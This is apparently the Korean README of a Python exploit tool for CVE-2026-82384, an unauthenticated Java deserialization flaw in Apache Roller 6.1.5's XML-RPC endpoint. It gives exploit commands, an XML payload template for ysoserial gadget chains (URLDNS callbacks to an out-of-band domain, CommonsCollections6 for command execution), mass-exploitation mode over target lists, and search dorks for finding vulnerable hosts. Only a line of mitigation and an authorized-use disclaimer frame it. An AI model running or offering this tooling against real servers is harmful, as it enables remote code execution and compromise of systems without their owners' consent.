
CVE-2026-82384에 대한 Python PoC: ysoserial 페이로드를 통해 Apache Roller 6.1.5의 인증되지 않은 XML-RPC Java 역직렬화를 탐지 및 악용하며, 대량 스캔을 지원합니다.
**CVE-2026-82384**에 대한 Python 3 PoC — 레거시 XML-RPC 서블릿에서 발생하는 Apache Roller 6.1.5의 비인증 Java 역직렬화 취약점입니다.
PoC 페이지: https://pocbit.org/pocs/cve-2026-82384
Apache Roller는 Java 기반의 다중 사용자 블로그 서버(과거 명칭 "Roller Weblogger")입니다. 일반적으로 Tomcat WAR 형태로 배포되며, /roller-ui/ 아래에 UI가 있고 /roller-services/xmlrpc에서 XML-RPC를 통한 레거시 Blogger / MetaWeblog API를 제공합니다. Roller 6.1.5(2025년 9월)는 무관한 세션 문제(CVE-2025-24859)를 수정했지만, 이 CVE에 대해 XML-RPC 스택을 위험한 구성으로 남겨두었습니다.
CVE-2026-82384는 XML-RPC 엔드포인트에서 발생하는 신뢰할 수 없는 데이터의 역직렬화(CWE-502)입니다:
XmlRpcServlet은 **enabledForExtensions=true**로 구성되어 있어, Apache ws-xmlrpc 라이브러리가 벤더 확장 타입을 허용하며, 여기에는 base64로 인코딩된 Java 직렬화 객체인 **ex:serializable**이 포함됩니다.web.xml에 항상 존재하므로, 관리자가 Roller 설정에서 XML-RPC를 비활성화(webservices.enableXmlRpc=false)하더라도 파서는 여전히 실행됩니다. UI에서 기능을 비활성화해도 6.1.5에서는 이 사전 인증 경로가 닫히지 않습니다.영향받는 버전: 벤더 권고에 따르면 Apache Roller 6.1.5만 해당.
수정 버전: Apache Roller 6.1.6+ (PR #171): enabledForExtensions=false로 설정하고, XML-RPC가 전역적으로 비활성화된 경우 요청을 거부합니다.
| 지표 | 값 |
|---|---|
| CVSS 3.1 | 9.8 Critical — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 인증 | 역직렬화 프리미티브에 대해 불필요 |
| 발견자 | n0mi1k |
| 벤더 | Apache Software Foundation |
| 항목 | 세부 정보 |
|---|---|
| 엔드포인트 | POST /roller-services/xmlrpc (/roller/roller-services/xmlrpc도 시도) |
| Content-Type | text/xml |
| 트리거 | methodCall 내부의 <ex:serializable xmlns:ex="http://ws.apache.org/xmlrpc/namespaces/extensions">BASE64</ex:serializable> |
| 가젯 체인 | 클래스패스에 따라 다름(Commons Collections 등), 주로 ysoserial로 생성 |
| 영향 | Tomcat/Roller OS 사용자 권한으로 RCE, 일반적으로 블로그 데이터 전체 제어 및 호스트 피벗 |
| 모드 | 동작 |
|---|---|
check | Roller 핑거프린트를 탐지하고 XML-RPC URL을 찾으며, 선택적으로 --probe-deser(ex:serializable 프로브 바이트 전송) 수행 |
exploit | 사용자의 직렬화 페이로드(파일, base64, 또는 --ysoserial-jar를 통한 ysoserial)를 전송 |
| Mass | --list targets.txt --mode exploit -j N — JSONL + **exploited.txt**와 함께 병렬 대량 처리 |
PoCbit 필드: 모든 JSONL 행에 pocbit, pocbit_catalog, pocbit_page 포함.
CLI: 컬러 배너, [HIT] / [EXPLOIT] / [FAIL] 라인(--no-color로 비활성화).
이 저장소는 실제 RCE 가젯 체인을 포함하지 않습니다(클래스패스 의존). 실제 익스플로잇을 위해서는 ysoserial 출력 또는 검증된 페이로드 파일을 제공해야 합니다.
pip install -r requirements.txt
RCE의 경우(단순 탐지가 아님):
URLDNS(대역 외 증명), CommonsCollections6(일반적인 Roller 클래스패스에서 명령 실행 — 실험실에서 먼저 검증)python poc.py -u https://blog.example.com --mode check
python poc.py -u https://blog.example.com --mode check --probe-deser
python poc.py --list targets.example.txt --mode check -j 12
# OOB DNS proof (replace with your collaborator)
python poc.py -u https://blog.example.com --mode exploit \
--ysoserial-jar ysoserial.jar --ysoserial-gadget URLDNS \
--ysoserial-cmd pocbit.your-oast.domain
# Pre-generated base64 payload file
python poc.py -u https://blog.example.com --mode exploit --payload-file chain.b64
# Raw ysoserial bytes on disk
python poc.py -u https://blog.example.com --mode exploit --payload-file payload.bin
python poc.py --list targets.txt --mode exploit \
--ysoserial-jar ysoserial.jar --ysoserial-gadget URLDNS \
--ysoserial-cmd oast.example.com -j 10
출력:
cve_2026_82384_exploit.jsonl — 대상별 JSONexploited.txt — 페이로드가 수락되었거나 OOB가 전송된 대상<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>system.listMethods</methodName>
<params>
<param>
<value>
<ex:serializable xmlns:ex="http://ws.apache.org/xmlrpc/namespaces/extensions">
BASE64_JAVA_SERIALIZED_OBJECT
</ex:serializable>
</value>
</param>
</params>
</methodCall>
6.1.5에서는 이 본문을 파싱할 때 어떤 메서드 핸들러가 자격 증명을 강제하기 전에 역직렬화가 발생할 수 있습니다.
/roller-services/xmlrpc를 차단하십시오(관리자 IP만 허용 목록에 추가).Apache Roller, /roller-ui/, 포트 8080/8443 블로그 호스트를 검색하십시오.body="Apache Roller"
body="/roller-ui/"
body="/roller-services/xmlrpc"
title="Roller"
푸터, 정보 페이지 또는 WEB-INF / 릴리스 노트에서 버전 6.1.5를 확인한 후에만 익스플로잇 가능한 것으로 취급하십시오.
권한을 부여받은 시스템에서만 사용하십시오. 역직렬화 익스플로잇은 데이터를 파괴할 수 있으며 오용 시 법률을 위반할 수 있습니다.